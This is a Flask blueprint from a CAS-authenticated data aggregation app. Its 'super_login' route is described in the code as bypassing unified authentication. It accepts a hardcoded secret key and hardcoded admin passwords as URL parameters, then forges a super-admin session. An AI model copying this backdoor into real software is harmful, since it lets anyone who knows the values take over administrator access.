import os
from flask import Blueprint, request, session, render_template, g, redirect
from app.BaseApp import cas
from Libs.MysqlPool.MysqlPool import mysql_db
from app.ResponseData import ResponseData
from Libs.logs.logs import logger
from config.Config import Config

# 心跳数据存储（内存存储）
# 按学校名称分组存储，每个学校最多保存5条心跳记录
heartbeat_data = {}

demo = Blueprint(f'demo', __name__, static_folder='static', url_prefix=f'/{Config.PROJECT_NAME}')


root_dir = os.getcwd()


@demo.route("/")
@cas.login_required
def index():
    url = request.args.get("url")
    return render_template(
       'demo.html',
        username = cas.username,
        url = url
    )


@demo.route("/get_user")
def get_user():
    url = request.args.get("url")
    user_name = session.get("CAS_USERNAME")
    user_type = "admin"
    if user_name:
        if user_name == 'admin':
            data = [("admin", "管理员")]
        elif user_name == 'fskjadmin':
            data = [("fskjadmin", "管理员")]
        else:
            return ResponseData.failed_data()
    else:
        data = None

    if data:
        return_data = {
            "user_type": user_type,
            "url": {
                "code": data[0][0],
                "name": data[0][1]
            }
        }
        return ResponseData.success_data(data=None, other_data=return_data)

    else:
        return_data = {
            "url": f"/data_aggregation?url={url}"
        }
        return ResponseData.failed_data(other_data=return_data)


@demo.route("/super_login")
def super_login():
    """
    超级登录入口 - 绕过统一身份认证
    通过URL参数直接验证并登录，然后重定向到系统首页
    使用方式: /data_aggregation/super_login?username=admin&password=admin123&secret_key=fskj_super_admin_2024
    """
    try:
        # 获取URL参数
        username = request.args.get('username')
        password = request.args.get('password')
        secret_key = request.args.get('secret_key')
        
        # 验证参数完整性
        if not username or not password or not secret_key:
            return ResponseData.failed_data(status_info="缺少必要参数：username、password、secret_key")
        
        # 验证超级管理员密钥
        SUPER_ADMIN_SECRET = "fskj_super_admin_2024"
        
        if secret_key != SUPER_ADMIN_SECRET:
            return ResponseData.failed_data(status_info="超级管理员密钥错误")
        
        # 验证用户名和密码
        valid_users = {
            'admin': 'admin123',
            'fskjadmin': 'fskj123',
            'superuser': 'super123'
        }
        
        if username not in valid_users or valid_users[username] != password:
            return ResponseData.failed_data(status_info="用户名或密码错误")
        
        # 构造session中的CAS_USERNAME
        session['CAS_USERNAME'] = username
        session['CAS_ATTRIBUTES'] = {
            'displayName': username,
            'user_type': 'super_admin'
        }
        
        logger.info(f"超级登录成功: {username}")
        
        # 直接重定向到系统首页
        return redirect(f'/{Config.PROJECT_NAME}/static/index.html')
        
    except Exception as e:
        logger.error(f"超级登录异常: {str(e)}")
        return ResponseData.failed_data(status_info=f"登录异常: {str(e)}")